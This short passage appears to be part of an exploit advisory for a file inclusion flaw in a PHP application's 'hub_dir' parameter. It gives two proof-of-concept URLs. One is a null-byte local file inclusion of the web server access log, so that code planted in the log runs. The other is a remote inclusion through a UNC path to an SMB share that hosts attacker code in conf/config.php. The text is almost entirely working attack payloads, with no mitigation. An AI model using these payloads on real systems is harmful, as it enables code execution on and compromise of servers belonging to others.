so, you can include files from local resources, poc:

http://[target]/[path]/index.php?hub_dir=/var/log/httpd/access_log%00

you don't see output, but we have some code in log files, it will be executed

also, on php5, arbitrary remote inclusion:

http://[target]/[path]/index.php?hub_dir=\\192.168.1.3\c\

including a full accessible share
where on samba resource you have some code in conf/config.php
